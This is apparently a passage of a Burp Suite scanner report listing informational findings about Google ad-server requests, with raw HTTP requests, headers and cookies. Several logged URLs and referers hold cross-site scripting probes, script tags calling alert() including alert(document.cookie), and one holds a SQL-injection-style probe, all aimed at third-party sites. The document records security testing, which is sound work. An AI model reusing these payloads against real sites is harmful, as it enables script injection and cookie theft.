The response contains the following links to other domains:

http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab
http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-ffffff.png
http://pagead2.googlesyndication.com/pagead/images/i.png
http://pagead2.googlesyndication.com/pagead/imgad?id=CLv8-dzl_vyAuwEQ2AUYWjIIoGjQfeC-goY
http://pagead2.googlesyndication.com/pagead/js/abg.js
http://pagead2.googlesyndication.com/pagead/js/graphics.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.kledy.us/%253F88099%252522%25253E%25253Cscript%25253Ealert(String.fromCharCode(88,83,83))%25253C/script%25253E31a8b6ec06f%253D1%26hl%3Den%26client%3Dca-pub-7272189955621553%26adU%3Dwww.Zoosk.com%26adT%3DImageAd%26gl%3DUS&usg=AFQjCNH438TBWUGbl80unfvlCaH7pvLCkQ

Request

GET /pagead/ads?client=ca-pub-7272189955621553&output=html&h=90&slotname=7192921606&w=728&lmt=1297030590&flash=10.1.103&url=http%3A%2F%2Fwww.kledy.us%2F%3F88099%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31a8b6ec06f%3D1&dt=1297008990947&shv=r20101117&jsv=r20110120&saldr=1&correlator=1297008990992&frm=0&adk=603134447&ga_vid=1462495193.1297008991&ga_sid=1297008991&ga_hid=337475489&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1001&bih=1031&eid=30143102&ref=http%3A%2F%2Fburp%2Fshow%2F68&fu=0&ifi=1&dtd=78&xpc=EQdUZ7AWO6&p=http%3A//www.kledy.us HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.kledy.us/?88099%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E31a8b6ec06f=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.50. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6105196450991387&output=html&h=280&slotname=4051504648&w=336&lmt=1296964091&flash=10.1.103&url=http%3A%2F%2Fwww.freedownloadscenter.com%2Fterms%2Fhtml-tracert-nslookup%2Fnslookup.html&dt=1296942491480&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=8416674819&correlator=1296942491388&frm=0&adk=2345957685&ga_vid=1479561773.1296942490&ga_sid=1296942490&ga_hid=75542475&ga_fc=1&u_tz=-360&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=985&bih=996&fu=0&ifi=2&dtd=5&xpc=FVfoxiHGdI&p=http%3A//www.freedownloadscenter.com

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-000000.png
http://pagead2.googlesyndication.com/pagead/sma8.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.freedownloadscenter.com/terms/html-tracert-nslookup/nslookup.html%26hl%3Den%26client%3Dca-pub-6105196450991387%26adU%3Dwww.Moxiesoft.com%26adT%3DMoxie%2BLive%2BChat%2BSolutions%26adU%3Dn-able.com/free-monitoring-software%26adT%3DNetwork%2BMonitoring%2BTool%26gl%3DUS&usg=AFQjCNEaPcoctpjcmEoRQEd0TGYCGM4tiQ

Request

GET /pagead/ads?client=ca-pub-6105196450991387&output=html&h=280&slotname=4051504648&w=336&lmt=1296964091&flash=10.1.103&url=http%3A%2F%2Fwww.freedownloadscenter.com%2Fterms%2Fhtml-tracert-nslookup%2Fnslookup.html&dt=1296942491480&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=8416674819&correlator=1296942491388&frm=0&adk=2345957685&ga_vid=1479561773.1296942490&ga_sid=1296942490&ga_hid=75542475&ga_fc=1&u_tz=-360&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=985&bih=996&fu=0&ifi=2&dtd=5&xpc=FVfoxiHGdI&p=http%3A//www.freedownloadscenter.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.freedownloadscenter.com/terms/html-tracert-nslookup/nslookup.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|2818894/957634/15009,2409535/850532/15008,189445/526157/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.51. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6105196450991387&output=html&h=280&slotname=4051504648&w=336&lmt=1296964091&flash=10.1.103&url=http%3A%2F%2Fwww.freedownloadscenter.com%2Fterms%2Fhtml-tracert-nslookup%2Fnslookup.html&dt=1296942491480&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=8416674819&correlator=1296942491388&frm=0&adk=2345957685&ga_vid=1479561773.1296942490&ga_sid=1296942490&ga_hid=75542475&ga_fc=1&u_tz=-360&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=985&bih=996&fu=0&ifi=2&dtd=5&xpc=FVfoxiHGdI&p=http%3A//www.freedownloadscenter.com

The response contains the following link to another domain:

http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.freedownloadscenter.com/terms/html-tracert-nslookup/nslookup.html%26hl%3Den%26client%3Dca-pub-6105196450991387%26adU%3DSpeedItupUltimate.com%26adT%3DFree%2BRecommended%2BDownload%26gl%3DUS&usg=AFQjCNElWvUCGIpc9QyCp3Yir0Z9jz4Vdw

Request

Response

20.52. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5112821747420583&format=336x280_as&output=html&h=280&w=336&lmt=1296965303&channel=2020812945&ad_type=text_image&alt_color=EFF3F7&color_bg=EFF3F7&color_border=EFF3F7&color_link=2490D2&color_text=000000&color_url=5C5C5C&flash=10.1.103&url=http%3A%2F%2Fwww.filetransit.com%2Fdemo.php%3F6e3f0%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E6896f2e55e7%3D1&dt=1296943703822&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296943703824&frm=0&adk=871793777&ga_vid=1962680669.1296943704&ga_sid=1296943704&ga_hid=1166771052&ga_fc=0&u_tz=-360&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&ref=http%3A%2F%2Fburp%2Fshow%2F8&fu=0&ifi=1&dtd=6&xpc=Hy2sJ5JuUR&p=http%3A//www.filetransit.com

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-ffffff.png
http://pagead2.googlesyndication.com/pagead/images/i.png
http://pagead2.googlesyndication.com/pagead/js/abg.js
http://pagead2.googlesyndication.com/pagead/js/graphics.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.filetransit.com/demo.php%253F6e3f0%252522%25253E%25253Cscript%25253Ealert(String.fromCharCode(88,83,83))%25253C/script%25253E6896f2e55e7%253D1%26hl%3Den%26client%3Dca-pub-5112821747420583%26adU%3DWideAngleSoftware.com%26adT%3DImageAd%26gl%3DUS&usg=AFQjCNEjN8-8d5oPAHil7ZNma-6HFaAk-Q

Request

GET /pagead/ads?client=ca-pub-5112821747420583&format=336x280_as&output=html&h=280&w=336&lmt=1296965303&channel=2020812945&ad_type=text_image&alt_color=EFF3F7&color_bg=EFF3F7&color_border=EFF3F7&color_link=2490D2&color_text=000000&color_url=5C5C5C&flash=10.1.103&url=http%3A%2F%2Fwww.filetransit.com%2Fdemo.php%3F6e3f0%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E6896f2e55e7%3D1&dt=1296943703822&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296943703824&frm=0&adk=871793777&ga_vid=1962680669.1296943704&ga_sid=1296943704&ga_hid=1166771052&ga_fc=0&u_tz=-360&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&ref=http%3A%2F%2Fburp%2Fshow%2F8&fu=0&ifi=1&dtd=6&xpc=Hy2sJ5JuUR&p=http%3A//www.filetransit.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.filetransit.com/demo.php?6e3f0%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E6896f2e55e7=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.53. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-0813152173226346&output=html&h=60&slotname=3865030659&w=468&lmt=1296964099&flash=10.1.103&hl=en&url=http%3A%2F%2Fwww.orthougm.com%2Fnslookup.html&dt=1296942499402&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=8833934355%2C8094259765&correlator=1296942499327&frm=0&adk=2767130245&ga_vid=429166960.1296942499&ga_sid=1296942499&ga_hid=1477141929&ga_fc=0&u_tz=-360&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&fu=0&ifi=3&dtd=8&xpc=E1YiIEPf9D&p=http%3A//www.orthougm.com

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-000000.png
http://pagead2.googlesyndication.com/pagead/sma8.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.orthougm.com/nslookup.html%26hl%3Den%26client%3Dca-pub-0813152173226346%26adU%3Dwww.Moxiesoft.com%26adT%3DIntegrating%2BLive%2BChat%253F%26adU%3Dwww.Groupon.com/Grand-Rapids%26adT%3DGrand%2BRapids%2BCoupons%26gl%3DUS&usg=AFQjCNGatmLvAzT2jhtG0S7Zb9sKzVLiTQ

Request

GET /pagead/ads?client=ca-pub-0813152173226346&output=html&h=60&slotname=3865030659&w=468&lmt=1296964099&flash=10.1.103&hl=en&url=http%3A%2F%2Fwww.orthougm.com%2Fnslookup.html&dt=1296942499402&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=8833934355%2C8094259765&correlator=1296942499327&frm=0&adk=2767130245&ga_vid=429166960.1296942499&ga_sid=1296942499&ga_hid=1477141929&ga_fc=0&u_tz=-360&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&fu=0&ifi=3&dtd=8&xpc=E1YiIEPf9D&p=http%3A//www.orthougm.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.orthougm.com/nslookup.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|2818894/957634/15009,2409535/850532/15008,189445/526157/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.54. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-8169013721692972&output=html&h=90&slotname=0073536787&w=728&lmt=1296965214&flash=10.1.103&url=http%3A%2F%2Fwww.linuxsecurity.com%2Fadvisories%2F%3F1'%3D1&dt=1296948926914&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296948926937&frm=0&adk=1303169965&ga_vid=34780583.1296945313&ga_sid=1296948927&ga_hid=475020872&ga_fc=1&u_tz=-360&u_his=4&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=985&bih=1012&ref=http%3A%2F%2Fburp%2Fshow%2F39&fu=0&ifi=1&dtd=47&xpc=Cnr53Tq0eG&p=http%3A//www.linuxsecurity.com

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-ffffff.png
http://pagead2.googlesyndication.com/pagead/images/i.png
http://pagead2.googlesyndication.com/pagead/js/abg.js
http://pagead2.googlesyndication.com/pagead/js/graphics.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.linuxsecurity.com/advisories/%253F1%2527%253D1%26hl%3Den%26client%3Dca-pub-8169013721692972%26adU%3Dwww.qualys.com/dummies%26adT%3DImageAd%26gl%3DUS&usg=AFQjCNH_xASFt4owsiz9x8wF6lX2_oRn_A

Request

GET /pagead/ads?client=ca-pub-8169013721692972&output=html&h=90&slotname=0073536787&w=728&lmt=1296965214&flash=10.1.103&url=http%3A%2F%2Fwww.linuxsecurity.com%2Fadvisories%2F%3F1'%3D1&dt=1296948926914&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296948926937&frm=0&adk=1303169965&ga_vid=34780583.1296945313&ga_sid=1296948927&ga_hid=475020872&ga_fc=1&u_tz=-360&u_his=4&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=985&bih=1012&ref=http%3A%2F%2Fburp%2Fshow%2F39&fu=0&ifi=1&dtd=47&xpc=Cnr53Tq0eG&p=http%3A//www.linuxsecurity.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.linuxsecurity.com/advisories/?1'=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.55. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-7272189955621553&output=html&h=200&slotname=5943811345&w=200&lmt=1296968914&flash=10.1.103&url=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&dt=1296947314419&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296947314460&frm=0&adk=1589161579&ga_vid=214612644.1296947315&ga_sid=1296947315&ga_hid=1276611337&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=996&ref=http%3A%2F%2Fburp%2Fshow%2F34&fu=0&ifi=1&dtd=92&xpc=1SmNVoQMUM&p=http%3A//www.kledy.de

The response contains the following links to other domains:

http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab
http://pagead2.googlesyndication.com/pagead/abglogo/abg-de-100c-ffffff.png
http://pagead2.googlesyndication.com/pagead/images/i.png
http://pagead2.googlesyndication.com/pagead/imgad?id=CPu02Yre3q69ExDIARjIATIIxfQLmFrRvK8
http://pagead2.googlesyndication.com/pagead/js/abg.js
http://pagead2.googlesyndication.com/pagead/js/graphics.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.kledy.de/bookmarks.php%253F18fe2%252522%25253E%25253Cscript%25253Ealert(document.cookie)%25253C/script%25253Eef67307aec5%253D1%26hl%3Dde%26client%3Dca-pub-7272189955621553%26adU%3DTuneUp.de%26adT%3DImageAd%26gl%3DUS&usg=AFQjCNGMlHjXQdqI7OG97_rSNkbeW74o1w

Request

GET /pagead/ads?client=ca-pub-7272189955621553&output=html&h=200&slotname=5943811345&w=200&lmt=1296968914&flash=10.1.103&url=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&dt=1296947314419&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296947314460&frm=0&adk=1589161579&ga_vid=214612644.1296947315&ga_sid=1296947315&ga_hid=1276611337&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=996&ref=http%3A%2F%2Fburp%2Fshow%2F34&fu=0&ifi=1&dtd=92&xpc=1SmNVoQMUM&p=http%3A//www.kledy.de HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.kledy.de/bookmarks.php?18fe2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eef67307aec5=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.56. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-0813152173226346&output=html&h=90&slotname=8833934355&w=728&lmt=1296964160&flash=10.1.103&hl=en&url=http%3A%2F%2Fwww.orthougm.com%2F&dt=1296942560276&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296942560294&frm=0&adk=2006559315&ga_vid=429166960.1296942499&ga_sid=1296942499&ga_hid=1263121855&ga_fc=1&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&ref=http%3A%2F%2Fwww.orthougm.com%2Fnslookup.html&fu=0&ifi=1&dtd=35&xpc=PXYsvPdzTy&p=http%3A//www.orthougm.com

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-000000.png
http://pagead2.googlesyndication.com/pagead/sma8.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.orthougm.com/%26hl%3Den%26client%3Dca-pub-0813152173226346%26adU%3Dwww.Enerdynamics.com%26adT%3DLNG%2BSeminar%26adU%3Dwww.InjuryHelpLineLawyer.com%26adT%3DHip%2BReplacement%2BLawyer%26adU%3Dwww.KneeCpm.com%26adT%3DKnee%2BCPMs%2B%2526amp%253B%2BSoftgoods%26gl%3DUS&usg=AFQjCNFSF5CgV9p18_BSsUNE5CbN6r9fFA

Request

Response

20.57. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6422417422167576&output=html&h=280&slotname=4472307558&w=336&lmt=1297020079&flash=10.1.103&url=http%3A%2F%2Fwww.baselinemag.com%2Fc%2Fa%2FIT-Management%2FMacys-Ramps-Up-Online-Operations-637464%2F&dt=1296998592953&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=3486164594&correlator=1296998582104&frm=0&adk=164253300&ga_vid=1274416164.1296998524&ga_sid=1296998524&ga_hid=410483432&ga_fc=1&ga_wpids=UA-2464436-2&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=985&bih=1015&eid=30143103&ref=http%3A%2F%2Fburp%2Fshow%2F45&fu=0&ifi=2&dtd=140&xpc=ZvKS7Qv1Ce&p=http%3A//www.baselinemag.com

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-ffffff.png
http://pagead2.googlesyndication.com/pagead/js/graphics.js
http://pagead2.googlesyndication.com/pagead/sma8.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/%26hl%3Den%26client%3Dca-pub-6422417422167576%26adU%3Dwww.AmeriCommerce.com%26adT%3DEasier%2BeCommerce%2BSolution%26adU%3Dwww.ProcureToPayEvent.com%26adT%3D9th%2BProcure-to-Pay%2BSummit%26adU%3Dwww.apprise.com%26adT%3DERP%2BSoftware%26adU%3Dwww.cloud.com%26adT%3DOpen%2BSource%2BCloud%26gl%3DUS&usg=AFQjCNHPuILQLZlTiVgYwC5LphBP-WDdTA

Request

GET /pagead/ads?client=ca-pub-6422417422167576&output=html&h=280&slotname=4472307558&w=336&lmt=1297020079&flash=10.1.103&url=http%3A%2F%2Fwww.baselinemag.com%2Fc%2Fa%2FIT-Management%2FMacys-Ramps-Up-Online-Operations-637464%2F&dt=1296998592953&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=3486164594&correlator=1296998582104&frm=0&adk=164253300&ga_vid=1274416164.1296998524&ga_sid=1296998524&ga_hid=410483432&ga_fc=1&ga_wpids=UA-2464436-2&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=985&bih=1015&eid=30143103&ref=http%3A%2F%2Fburp%2Fshow%2F45&fu=0&ifi=2&dtd=140&xpc=ZvKS7Qv1Ce&p=http%3A//www.baselinemag.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.58. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-7272189955621553&output=html&h=90&slotname=5117000812&w=728&lmt=1297030534&flash=10.1.103&url=http%3A%2F%2Fwww.chattino.com%2F&dt=1297008934535&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=9195027970&correlator=1297008934508&frm=0&adk=4147195374&ga_vid=673818716.1297008935&ga_sid=1297008935&ga_hid=594813066&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3656033325&eid=30143102&ref=http%3A%2F%2Fwww.kledy.eu%2F%3Ff0d30%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31ed3e6c6d3%3D1&fu=0&ifi=2&dtd=3&xpc=1Yms2VLXsH&p=http%3A//www.chattino.com

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-000000.png
http://pagead2.googlesyndication.com/pagead/sma8.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.chattino.com/%26hl%3Den%26client%3Dca-pub-7272189955621553%26adU%3Dwww.google.com/ig%26adT%3DFree%2BChat%2BOnline%26adU%3Dwww.Moxiesoft.com%26adT%3DIntegrating%2BLive%2BChat%253F%26adU%3Dwww.GoToMeeting.com%26adT%3DGoToMeeting%25E2%2584%25A2%2BFree%2BTrial%26gl%3DUS&usg=AFQjCNGVaQH7SFZr_28wXAVb9aoK7Y02AA

Request

GET /pagead/ads?client=ca-pub-7272189955621553&output=html&h=90&slotname=5117000812&w=728&lmt=1297030534&flash=10.1.103&url=http%3A%2F%2Fwww.chattino.com%2F&dt=1297008934535&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=9195027970&correlator=1297008934508&frm=0&adk=4147195374&ga_vid=673818716.1297008935&ga_sid=1297008935&ga_hid=594813066&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3656033325&eid=30143102&ref=http%3A%2F%2Fwww.kledy.eu%2F%3Ff0d30%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31ed3e6c6d3%3D1&fu=0&ifi=2&dtd=3&xpc=1Yms2VLXsH&p=http%3A//www.chattino.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.chattino.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.59. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

